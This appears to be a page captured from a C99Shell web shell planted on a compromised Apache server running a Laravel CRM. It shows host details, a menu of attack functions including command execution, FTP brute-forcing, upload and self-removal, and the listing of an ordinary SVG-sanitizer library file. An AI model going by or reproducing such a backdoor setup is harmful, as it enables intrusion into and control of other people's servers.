!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/enshrined/svg-sanitize/src/ElementReference/   drwxrwxrwx
Free 12.92 GB of 57.97 GB (22.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Subject.php (3.78 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace enshrined\svgSanitize\ElementReference;

class 
Subject
{
    
/**
     * @var \DOMElement
     */
    
protected $element;

    
/**
     * @var Usage[]
     */
    
protected $useCollection = [];

    
/**
     * @var Usage[]
     */
    
protected $usedInCollection = [];

    
/**
     * @var int
     */
    
protected $useNestingLimit;

    
/**
     * Subject constructor.
     *
     * @param \DOMElement $element
     * @param int         $useNestingLimit
     */
    
public function __construct(\DOMElement $element$useNestingLimit)
    {
        
$this->element $element;
        
$this->useNestingLimit $useNestingLimit;
    }

    
/**
     * @return \DOMElement
     */
    
public function getElement()
    {
        return 
$this->element;
    }

    
/**
     * @return string
     */
    
public function getElementId()
    {
        return 
$this->element->getAttribute('id');
    }

    
/**
     * @param array $subjects   Previously processed subjects
     * @param int   $level      The current level of nesting.
     * @return bool
     * @throws \enshrined\svgSanitize\Exceptions\NestingException
     */
    
public function hasInfiniteLoop(array $subjects = [], $level 1)
    {
        if (
$level $this->useNestingLimit) {
            throw new 
\enshrined\svgSanitize\Exceptions\NestingException('Nesting level too high, aborting'1570713498null$this->getElement());
        }

        if (
in_array($this$subjectstrue)) {
            return 
true;
        }
        
$subjects[] = $this;
        foreach (
$this->useCollection as $usage) {
            if (
$usage->getSubject()->hasInfiniteLoop($subjects$level 1)) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * @param Subject $subject
     */
    
public function addUse(Subject $subject)
    {
        if (
$subject === $this) {
            throw new 
\LogicException('Cannot add self usage'1570713416);
        }
        
$identifier $subject->getElementId();
        if (isset(
$this->useCollection[$identifier])) {
            
$this->useCollection[$identifier]->increment();
            return;
        }
        
$this->useCollection[$identifier] = new Usage($subject);
    }

    
/**
     * @param Subject $subject
     */
    
public function addUsedIn(Subject $subject)
    {
        if (
$subject === $this) {
            throw new 
\LogicException('Cannot add self as usage'1570713417);
        }
        
$identifier $subject->getElementId();
        if (isset(
$this->usedInCollection[$identifier])) {
            
$this->usedInCollection[$identifier]->increment();
            return;
        }
        
$this->usedInCollection[$identifier] = new Usage($subject);
    }

    
/**
     * @param bool $accumulated
     * @return int
     */
    
public function countUse($accumulated false)
    {
        
$count 0;
        foreach (
$this->useCollection as $use) {
            
$useCount $use->getSubject()->countUse();
            
$count += $use->getCount() * ($accumulated $useCount max(1$useCount));
        }
        return 
$count;
    }

    
/**
     * @return int
     */
    
public function countUsedIn()
    {
        
$count 0;
        foreach (
$this->usedInCollection as $usedIn) {
            
$count += $usedIn->getCount() * max(1$usedIn->getSubject()->countUsedIn());
        }
        return 
$count;
    }

    
/**
     * Clear the internal arrays (to free up memory as they can get big)
     * and return all the child usages DOMElement's
     *
     * @return array
     */
    
public function clearInternalAndGetAffectedElements()
    {
        
$elements array_map(function(Usage $usage) {
            return 
$usage->getSubject()->getElement();
        }, 
$this->useCollection);

        
$this->usedInCollection = [];
        
$this->useCollection = [];

        return 
$elements;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--